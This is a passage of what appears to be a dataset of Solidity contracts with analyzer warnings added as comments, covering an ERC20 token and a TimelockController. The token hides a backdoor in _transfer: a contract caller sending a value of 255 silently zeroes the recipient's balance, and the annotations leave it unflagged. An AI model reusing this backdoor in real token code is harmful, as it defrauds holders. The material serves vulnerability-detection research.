OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"BabyWIF\", unicode\"BabyWIF\", 9, 50000000) {}\n}\n",
"file_name": "solidity_code_1006.sol",
"size_bytes": 7296,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT AND Unlicense\npragma solidity ^0.8.0;\n\ninterface IAccessControl {\n event RoleAdminChanged(\n bytes32 indexed role,\n bytes32 indexed previousAdminRole,\n bytes32 indexed newAdminRole\n );\n\n event RoleGranted(\n bytes32 indexed role,\n address indexed account,\n address indexed sender\n );\n\n event RoleRevoked(\n bytes32 indexed role,\n address indexed account,\n address indexed sender\n );\n\n function hasRole(\n bytes32 role,\n address account\n ) external view returns (bool);\n\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\n\n function grantRole(bytes32 role, address account) external;\n\n function revokeRole(bytes32 role, address account) external;\n\n function renounceRole(bytes32 role, address account) external;\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IERC165 {\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n\nabstract contract ERC165 is IERC165 {\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n\nlibrary Math {\n enum Rounding {\n Down,\n Up,\n Zero\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: df23327): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for df23327: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2f6dc70): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 2f6dc70: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2ad8082): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 2ad8082: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4cf79f6): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for 4cf79f6: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 9fdfedd): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 9fdfedd: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 46dd473): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 46dd473: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0ef6629): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 0ef6629: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: cfadfcc): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for cfadfcc: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: 1edaeee): Math.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for 1edaeee: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod0 := mul(x, y)\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n require(denominator > prod1, \"Math: mulDiv overflow\");\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (~denominator + 1);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: df23327\n\t\t\t\t// divide-before-multiply | ID: 2f6dc70\n\t\t\t\t// divide-before-multiply | ID: 2ad8082\n\t\t\t\t// divide-before-multiply | ID: 4cf79f6\n\t\t\t\t// divide-before-multiply | ID: 9fdfedd\n\t\t\t\t// divide-before-multiply | ID: 46dd473\n\t\t\t\t// divide-before-multiply | ID: 0ef6629\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: cfadfcc\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: 4cf79f6\n\t\t\t// incorrect-exp | ID: 1edaeee\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: 2ad8082\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 9fdfedd\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: df23327\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 0ef6629\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 2f6dc70\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 46dd473\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: cfadfcc\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n\n return result;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 result = 1 << (log2(a) >> 1);\n\n unchecked {\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n return min(result, a / result);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 128;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 64;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 32;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 16;\n }\n\n if (value >> 8 > 0) {\n value >>= 8;\n\n result += 8;\n }\n\n if (value >> 4 > 0) {\n value >>= 4;\n\n result += 4;\n }\n\n if (value >> 2 > 0) {\n value >>= 2;\n\n result += 2;\n }\n\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 16;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 8;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 4;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 2;\n }\n\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n}\n\nlibrary SignedMath {\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n function average(int256 a, int256 b) internal pure returns (int256) {\n int256 x = (a & b) + ((a ^ b) >> 1);\n\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n\nlibrary Strings {\n bytes16 private constant _SYMBOLS = \"0123456789abcdef\";\n\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n\n string memory buffer = new string(length);\n\n uint256 ptr;\n\n assembly {\n ptr := add(buffer, add(32, length))\n }\n\n while (true) {\n ptr--;\n\n assembly {\n mstore8(ptr, byte(mod(value, 10), _SYMBOLS))\n }\n\n value /= 10;\n\n if (value == 0) break;\n }\n\n return buffer;\n }\n }\n\n function toString(int256 value) internal pure returns (string memory) {\n return\n string(\n abi.encodePacked(\n value < 0 ? \"-\" : \"\",\n toString(SignedMath.abs(value))\n )\n );\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _SYMBOLS[value & 0xf];\n\n value >>= 4;\n }\n\n require(value == 0, \"Strings: hex length insufficient\");\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\n struct RoleData {\n mapping(address => bool) members;\n bytes32 adminRole;\n }\n\n mapping(bytes32 => RoleData) private _roles;\n\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\n\n modifier onlyRole(bytes32 role) {\n _checkRole(role);\n\n _;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return\n interfaceId == type(IAccessControl).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function hasRole(\n bytes32 role,\n address account\n ) public view virtual override returns (bool) {\n return _roles[role].members[account];\n }\n\n function _checkRole(bytes32 role) internal view virtual {\n _checkRole(role, _msgSender());\n }\n\n function _checkRole(bytes32 role, address account) internal view virtual {\n if (!hasRole(role, account)) {\n revert(\n string(\n abi.encodePacked(\n \"AccessControl: account \",\n Strings.toHexString(account),\n \" is missing role \",\n Strings.toHexString(uint256(role), 32)\n )\n )\n );\n }\n }\n\n function getRoleAdmin(\n bytes32 role\n ) public view virtual override returns (bytes32) {\n return _roles[role].adminRole;\n }\n\n function grantRole(\n bytes32 role,\n address account\n ) public virtual override onlyRole(getRoleAdmin(role)) {\n _grantRole(role, account);\n }\n\n function revokeRole(\n bytes32 role,\n address account\n ) public virtual override onlyRole(getRoleAdmin(role)) {\n _revokeRole(role, account);\n }\n\n function renounceRole(\n bytes32 role,\n address account\n ) public virtual override {\n require(\n account == _msgSender(),\n \"AccessControl: can only renounce roles for self\"\n );\n\n _revokeRole(role, account);\n }\n\n function _setupRole(bytes32 role, address account) internal virtual {\n _grantRole(role, account);\n }\n\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\n bytes32 previousAdminRole = getRoleAdmin(role);\n\n _roles[role].adminRole = adminRole;\n\n emit RoleAdminChanged(role, previousAdminRole, adminRole);\n }\n\n function _grantRole(bytes32 role, address account) internal virtual {\n if (!hasRole(role, account)) {\n _roles[role].members[account] = true;\n\n emit RoleGranted(role, account, _msgSender());\n }\n }\n\n function _revokeRole(bytes32 role, address account) internal virtual {\n if (hasRole(role, account)) {\n _roles[role].members[account] = false;\n\n emit RoleRevoked(role, account, _msgSender());\n }\n }\n}\n\ninterface IERC1155Receiver is IERC165 {\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n\ninterface IERC721Receiver {\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n\ncontract TimelockController is\n AccessControl,\n IERC721Receiver,\n IERC1155Receiver\n{\n bytes32 public constant TIMELOCK_ADMIN_ROLE =\n keccak256(\"TIMELOCK_ADMIN_ROLE\");\n\n bytes32 public constant PROPOSER_ROLE = keccak256(\"PROPOSER_ROLE\");\n\n bytes32 public constant EXECUTOR_ROLE = keccak256(\"EXECUTOR_ROLE\");\n\n bytes32 public constant CANCELLER_ROLE = keccak256(\"CANCELLER_ROLE\");\n\n uint256 internal constant _DONE_TIMESTAMP = uint256(1);\n\n mapping(bytes32 => uint256) private _timestamps;\n\n uint256 private _minDelay;\n\n event CallScheduled(\n bytes32 indexed id,\n uint256 indexed index,\n address target,\n uint256 value,\n bytes data,\n bytes32 predecessor,\n uint256 delay\n );\n\n event CallExecuted(\n bytes32 indexed id,\n uint256 indexed index,\n address target,\n uint256 value,\n bytes data\n );\n\n event CallSalt(bytes32 indexed id, bytes32 salt);\n\n event Cancelled(bytes32 indexed id);\n\n event MinDelayChange(uint256 oldDuration, uint256 newDuration);\n\n constructor(\n uint256 minDelay,\n address[] memory proposers,\n address[] memory executors,\n address admin\n ) {\n _setRoleAdmin(TIMELOCK_ADMIN_ROLE, TIMELOCK_ADMIN_ROLE);\n\n _setRoleAdmin(PROPOSER_ROLE, TIMELOCK_ADMIN_ROLE);\n\n _setRoleAdmin(EXECUTOR_ROLE, TIMELOCK_ADMIN_ROLE);\n\n _setRoleAdmin(CANCELLER_ROLE, TIMELOCK_ADMIN_ROLE);\n\n _setupRole(TIMELOCK_ADMIN_ROLE, address(this));\n\n if (admin != address(0)) {\n _setupRole(TIMELOCK_ADMIN_ROLE, admin);\n }\n\n for (uint256 i = 0; i < proposers.length; ++i) {\n _setupRole(PROPOSER_ROLE, proposers[i]);\n\n _setupRole(CANCELLER_ROLE, proposers[i]);\n }\n\n for (uint256 i = 0; i < executors.length; ++i) {\n _setupRole(EXECUTOR_ROLE, executors[i]);\n }\n\n _minDelay = minDelay;\n\n emit MinDelayChange(0, minDelay);\n }\n\n modifier onlyRoleOrOpenRole(bytes32 role) {\n if (!hasRole(role, address(0))) {\n _checkRole(role, _msgSender());\n }\n\n _;\n }\n\n receive() external payable {}\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(IERC165, AccessControl) returns (bool) {\n return\n interfaceId == type(IERC1155Receiver).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 575a237): TimelockController.isOperation(bytes32) uses timestamp for comparisons Dangerous comparisons getTimestamp(id) > 0\n\t// Recommendation for 575a237: Avoid relying on 'block.timestamp'.\n function isOperation(bytes32 id) public view virtual returns (bool) {\n\t\t// timestamp | ID: 575a237\n return getTimestamp(id) > 0;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: d1e2142): TimelockController.isOperationPending(bytes32) uses timestamp for comparisons Dangerous comparisons getTimestamp(id) > _DONE_TIMESTAMP\n\t// Recommendation for d1e2142: Avoid relying on 'block.timestamp'.\n function isOperationPending(bytes32 id) public view virtual returns (bool) {\n\t\t// timestamp | ID: d1e2142\n return getTimestamp(id) > _DONE_TIMESTAMP;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 0333aa6): TimelockController.isOperationReady(bytes32) uses timestamp for comparisons Dangerous comparisons timestamp > _DONE_TIMESTAMP && timestamp <= block.timestamp\n\t// Recommendation for 0333aa6: Avoid relying on 'block.timestamp'.\n function isOperationReady(bytes32 id) public view virtual returns (bool) {\n uint256 timestamp = getTimestamp(id);\n\n\t\t// timestamp | ID: 0333aa6\n return timestamp > _DONE_TIMESTAMP && timestamp <= block.timestamp;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 51b254b): TimelockController.isOperationDone(bytes32) uses timestamp for comparisons Dangerous comparisons getTimestamp(id) == _DONE_TIMESTAMP\n\t// Recommendation for 51b254b: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: f62be09): TimelockController.isOperationDone(bytes32) uses a dangerous strict equality getTimestamp(id) == _DONE_TIMESTAMP\n\t// Recommendation for f62be09: Don't use strict equality to determine if an account has enough Ether or tokens.\n function isOperationDone(bytes32 id) public view virtual returns (bool) {\n\t\t// timestamp | ID: 51b254b\n\t\t// incorrect-equality | ID: f62be09\n return getTimestamp(id) == _DONE_TIMESTAMP;\n }\n\n function getTimestamp(bytes32 id) public view virtual returns (uint256) {\n return _timestamps[id];\n }\n\n function getMinDelay() public view virtual returns (uint256) {\n return _minDelay;\n }\n\n function hashOperation(\n address target,\n uint256 value,\n bytes calldata data,\n bytes32 predecessor,\n bytes32 salt\n ) public pure virtual returns (bytes32) {\n return keccak256(abi.encode(target, value, data, predecessor, salt));\n }\n\n function hashOperationBatch(\n address[] calldata targets,\n uint256[] calldata values,\n bytes[] calldata payloads,\n bytes32 predecessor,\n bytes32 salt\n ) public pure virtual returns (bytes32) {\n return\n keccak256(abi.encode(targets, values, payloads, predecessor, salt));\n }\n\n function schedule(\n address target,\n uint256 value,\n bytes calldata data,\n bytes32 predecessor,\n bytes32 salt,\n uint256 delay\n ) public virtual onlyRole(PROPOSER_ROLE) {\n bytes32 id = hashOperation(target, value, data, predecessor, salt);\n\n _schedule(id, delay);\n\n emit CallScheduled(id, 0, target, value, data, predecessor, delay);\n\n if (salt != bytes32(0)) {\n emit CallSalt(id, salt);\n }\n }\n\n function scheduleBatch(\n address[] calldata targets,\n uint256[] calldata values,\n bytes[] calldata payloads,\n bytes32 predecessor,\n bytes32 salt,\n uint256 delay\n ) public virtual onlyRole(PROPOSER_ROLE) {\n require(\n targets.length == values.length,\n \"TimelockController: length mismatch\"\n );\n\n require(\n targets.length == payloads.length,\n \"TimelockController: length mismatch\"\n );\n\n bytes32 id = hashOperationBatch(\n targets,\n values,\n payloads,\n predecessor,\n salt\n );\n\n _schedule(id, delay);\n\n for (uint256 i = 0; i < targets.length; ++i) {\n emit CallScheduled(\n id,\n i,\n targets[i],\n values[i],\n payloads[i],\n predecessor,\n delay\n );\n }\n\n if (salt != bytes32(0)) {\n emit CallSalt(id, salt);\n }\n }\n\n function _schedule(bytes32 id, uint256 delay) private {\n require(\n !isOperation(id),\n \"TimelockController: operation already scheduled\"\n );\n\n require(\n delay >= getMinDelay(),\n \"TimelockController: insufficient delay\"\n );\n\n _timestamps[id] = block.timestamp + delay;\n }\n\n function cancel(bytes32 id) public virtual onlyRole(CANCELLER_ROLE) {\n require(\n isOperationPending(id),\n \"TimelockController: operation cannot be cancelled\"\n );\n\n delete _timestamps[id];\n\n emit Cancelled(id);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6aaaaa1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6aaaaa1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3f0a5e9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3f0a5e9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function execute(\n address target,\n uint256 value,\n bytes calldata payload,\n bytes32 predecessor,\n bytes32 salt\n ) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {\n bytes32 id = hashOperation(target, value, payload, predecessor, salt);\n\n _beforeCall(id, predecessor);\n\n\t\t// reentrancy-events | ID: 6aaaaa1\n\t\t// reentrancy-eth | ID: 3f0a5e9\n _execute(target, value, payload);\n\n\t\t// reentrancy-events | ID: 6aaaaa1\n emit CallExecuted(id, 0, target, value, payload);\n\n\t\t// reentrancy-eth | ID: 3f0a5e9\n _afterCall(id);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4ec4e08): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4ec4e08: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5a26b16): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5a26b16: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function executeBatch(\n address[] calldata targets,\n uint256[] calldata values,\n bytes[] calldata payloads,\n bytes32 predecessor,\n bytes32 salt\n ) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {\n require(\n targets.length == values.length,\n \"TimelockController: length mismatch\"\n );\n\n require(\n targets.length == payloads.length,\n \"TimelockController: length mismatch\"\n );\n\n bytes32 id = hashOperationBatch(\n targets,\n values,\n payloads,\n predecessor,\n salt\n );\n\n _beforeCall(id, predecessor);\n\n for (uint256 i = 0; i < targets.length; ++i) {\n address target = targets[i];\n\n uint256 value = values[i];\n\n bytes calldata payload = payloads[i];\n\n\t\t\t// reentrancy-events | ID: 4ec4e08\n\t\t\t// reentrancy-eth | ID: 5a26b16\n _execute(target, value, payload);\n\n\t\t\t// reentrancy-events | ID: 4ec4e08\n emit CallExecuted(id, i, target, value, payload);\n }\n\n\t\t// reentrancy-eth | ID: 5a26b16\n _afterCall(id);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: c8d8e63): TimelockController._execute(address,uint256,bytes) has external calls inside a loop (success,None) = target.call{value value}(data)\n\t// Recommendation for c8d8e63: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 3589eba): TimelockController._execute(address,uint256,bytes) sends eth to arbitrary user Dangerous calls (success,None) = target.call{value value}(data)\n\t// Recommendation for 3589eba: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function _execute(\n address target,\n uint256 value,\n bytes calldata data\n ) internal virtual {\n\t\t// reentrancy-events | ID: 6aaaaa1\n\t\t// reentrancy-events | ID: 4ec4e08\n\t\t// calls-loop | ID: c8d8e63\n\t\t// reentrancy-eth | ID: 3f0a5e9\n\t\t// reentrancy-eth | ID: 5a26b16\n\t\t// arbitrary-send-eth | ID: 3589eba\n (bool success, ) = target.call{value: value}(data);\n\n require(success, \"TimelockController: underlying transaction reverted\");\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 0737330): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 0737330: Avoid relying on 'block.timestamp'.\n function _beforeCall(bytes32 id, bytes32 predecessor) private view {\n require(\n isOperationReady(id),\n \"TimelockController: operation is not ready\"\n );\n\n\t\t// timestamp | ID: 0737330\n require(\n predecessor == bytes32(0) || isOperationDone(predecessor),\n \"TimelockController: missing dependency\"\n );\n }\n\n function _afterCall(bytes32 id) private {\n require(\n isOperationReady(id),\n \"TimelockController: operation is not ready\"\n );\n\n\t\t// reentrancy-eth | ID: 3f0a5e9\n\t\t// reentrancy-eth | ID: 5a26b16\n _timestamps[id] = _DONE_TIMESTAMP;\n }\n\n function updateDelay(uint256 newDelay) external virtual {\n require(\n msg.sender == address(this),\n 